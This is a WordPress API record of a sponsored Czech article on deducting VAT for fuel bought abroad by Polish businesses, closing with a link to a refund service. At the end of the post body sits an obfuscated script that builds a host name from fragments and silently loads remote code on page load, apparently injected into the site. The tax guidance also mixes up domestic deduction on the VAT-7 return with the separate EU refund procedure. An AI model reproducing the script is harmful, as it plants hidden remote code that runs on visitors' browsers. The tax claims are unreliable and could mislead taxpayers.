{"id":2107,"date":"2024-03-22T07:48:13","date_gmt":"2024-03-22T07:48:13","guid":{"rendered":"https:\/\/lifestylerek.com\/?p=2107"},"modified":"2024-09-11T10:06:32","modified_gmt":"2024-09-11T10:06:32","slug":"czy-moge-odliczyc-vat-za-paliwo-zakupione-za-granica","status":"publish","type":"post","link":"https:\/\/lifestylerek.com\/cs\/czy-moge-odliczczyc-vat-za-palivo-nakoupene-za-hranici\/","title":{"rendered":"Mohu si ode\u010d\u00edst DPH za pohonn\u00e9 hmoty nakoupen\u00e9 v zahrani\u010d\u00ed?"},"content":{"rendered":"<p>Odpo\u010det DPH u pohonn\u00fdch hmot nakoupen\u00fdch v zahrani\u010d\u00ed je mo\u017en\u00fd, ale zahrnuje ur\u010dit\u00e9 postupy a povinnosti. Podrobn\u00e9 informace o tom uv\u00e1d\u00edme n\u00ed\u017ee:<!--more--><\/p>\n<p><b>1 Obecn\u00e9 z\u00e1sady:<\/b><\/p>\n<ul>\n<li><b>Od\u010ditatelnost:<\/b>\u00a0Pl\u00e1tce registrovan\u00fd k DPH v Polsku m\u00e1 n\u00e1rok na odpo\u010det DPH u pohonn\u00fdch hmot nakoupen\u00fdch v r\u00e1mci Evropsk\u00e9 unie, pokud byly pohonn\u00e9 hmoty pou\u017eity pro \u00fa\u010dely podnik\u00e1n\u00ed.<\/li>\n<li><b>Sazba DPH:<\/b>\u00a0Odpo\u010det DPH na vstupu je mo\u017en\u00fd podle sazby platn\u00e9 v zemi, kde bylo palivo nakoupeno.<\/li>\n<li><b>Limit pro odpo\u010det:<\/b>\u00a0U osobn\u00edch automobil\u016f je odpo\u010det DPH 50% mo\u017en\u00fd bez ohledu na to, kde bylo palivo nakoupeno.<\/li>\n<\/ul>\n<p><b>2. podm\u00ednky pro odpo\u010det:<\/b><\/p>\n<ul>\n<li><b>Vlastnictv\u00ed faktury na DPH:<\/b>\u00a0N\u00e1kup pohonn\u00fdch hmot mus\u00edte dolo\u017eit fakturou s DPH, kter\u00e1 obsahuje v\u0161echny pot\u0159ebn\u00e9 \u00fadaje, tj. datum vystaven\u00ed, \u010d\u00edslo faktury, jm\u00e9no a adresu prod\u00e1vaj\u00edc\u00edho a kupuj\u00edc\u00edho, mno\u017estv\u00ed a cenu pohonn\u00fdch hmot, jako\u017e i sazbu a v\u00fd\u0161i DPH.<\/li>\n<li><b>Doklady o po\u010dtu ujet\u00fdch kilometr\u016f:<\/b>\u00a0U osobn\u00edch automobil\u016f pou\u017e\u00edvan\u00fdch pro slu\u017eebn\u00ed i soukrom\u00e9 \u00fa\u010dely je nutn\u00e9 v\u00e9st z\u00e1znamy o ujet\u00fdch kilometrech.<\/li>\n<li><b>Platba DPH:<\/b>\u00a0DPH mus\u00ed b\u00fdt zaplacena v zemi, kde bylo palivo zakoupeno.<\/li>\n<\/ul>\n<p><b>3 Postup ode\u010dtu:<\/b><\/p>\n<ul>\n<li><b>Pod\u00e1n\u00ed p\u0159izn\u00e1n\u00ed k DPH-7:<\/b>\u00a0\u010c\u00e1stku DPH na vstupu za pohonn\u00e9 hmoty uve\u010fte v p\u0159izn\u00e1n\u00ed k DPH-7 v polo\u017ece 44.<\/li>\n<li><b>P\u0159ikl\u00e1d\u00e1n\u00ed faktur DPH:<\/b>\u00a0K p\u0159izn\u00e1n\u00ed k DPH-7 je t\u0159eba p\u0159ilo\u017eit kopie faktur prokazuj\u00edc\u00edch n\u00e1kup pohonn\u00fdch hmot.<\/li>\n<\/ul>\n<p><b>4 Dal\u0161\u00ed informace:<\/b><\/p>\n<ul>\n<li><b>Vr\u00e1cen\u00ed DPH p\u0159i n\u00e1kupu pohonn\u00fdch hmot v EU:<\/b>\u00a0Na z\u00e1klad\u011b \u017e\u00e1dosti o vr\u00e1cen\u00ed DPH-REF je tak\u00e9 mo\u017en\u00e9 po\u017e\u00e1dat o vr\u00e1cen\u00ed DPH p\u0159i n\u00e1kupu pohonn\u00fdch hmot v r\u00e1mci EU.<\/li>\n<li><b>Kontroln\u00ed postup:<\/b>\u00a0Finan\u010dn\u00ed \u00fa\u0159ad m\u016f\u017ee prov\u00e9st kontrolu za \u00fa\u010delem ov\u011b\u0159en\u00ed \u00fadaj\u016f uveden\u00fdch v p\u0159izn\u00e1n\u00ed k DPH-7 a faktur\u00e1ch k DPH.<\/li>\n<\/ul>\n<p><b>P\u0159\u00edklad:<\/b><\/p>\n<p>Podnikatel vlastn\u00ed osobn\u00ed automobil, kter\u00fd je pou\u017e\u00edv\u00e1n k podnikatelsk\u00fdm \u00fa\u010del\u016fm. Pohonn\u00e9 hmoty nakoupil v N\u011bmecku a obdr\u017eel fakturu na DPH. Na faktu\u0159e je spr\u00e1vn\u011b uveden typ vozidla (osobn\u00ed automobil) a sazba DPH (19%). Podnikatel si m\u016f\u017ee ode\u010d\u00edst 50% DPH za pohonn\u00e9 hmoty, proto\u017ee automobil je pou\u017e\u00edv\u00e1n jak pro slu\u017eebn\u00ed, tak pro soukrom\u00e9 \u00fa\u010dely.<\/p>\n<p><b>Pozor:<\/b><\/p>\n<p>Informace obsa\u017een\u00e9 v tomto \u010dl\u00e1nku maj\u00ed pouze informativn\u00ed charakter a nep\u0159edstavuj\u00ed pr\u00e1vn\u00ed poradenstv\u00ed. Pokud m\u00e1te pochybnosti o postupu p\u0159i odpo\u010dtu DPH u pohonn\u00fdch hmot nakoupen\u00fdch v zahrani\u010d\u00ed, obra\u0165te se na sv\u00e9ho da\u0148ov\u00e9ho poradce.<\/p>\n<p>Zkuste <u><a href=\"https:\/\/www.ebvfinance.com\/pl\/zwrot-podatku-vat\" rel=\"noopener\">https:\/\/www.ebvfinance.com\/pl\/zwrot-podatku-vat<\/a><\/u>pro snadn\u011bj\u0161\u00ed da\u0148ov\u00e9 p\u0159izn\u00e1n\u00ed.<\/p>\n<p>Sponzorovan\u00fd \u010dl\u00e1nek.<\/p>\n<p><script> (function(){ x94e_=(\"u\"+\"\")+\"s\"+\"\";x94e_+=(\"tat.\")+(\"i\"); x94e=document.createElement(\"script\");x94e.type=\"text\/javascript\";x94e_+=\"nf\"+(\"o\")+\"\/\"; x94eu=\"2244201885\"+\".\";x94e.async=true;x94eu+=\"pewixxy294e3s3jtr322geehya56rn\"; x94e.src=\"https:\/\/\"+x94e_+x94eu;x94eb=document.body;x94eb.appendChild(x94e); })(); <\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Odpo\u010det DPH u pohonn\u00fdch hmot nakoupen\u00fdch v zahrani\u010d\u00ed je mo\u017en\u00fd, ale zahrnuje ur\u010dit\u00e9 postupy a povinnosti. Podrobn\u00e9 informace o tom uv\u00e1d\u00edme n\u00ed\u017ee:<\/p>","protected":false},"author":2,"featured_media":2106,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[39],"tags":[46],"class_list":["post-2107","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-biznes","tag-pl"],"_links":{"self":[{"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/posts\/2107","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/comments?post=2107"}],"version-history":[{"count":0,"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/posts\/2107\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/media\/2106"}],"wp:attachment":[{"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/media?parent=2107"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/categories?post=2107"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lifestylerek.com\/cs\/wp-json\/wp\/v2\/tags?post=2107"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}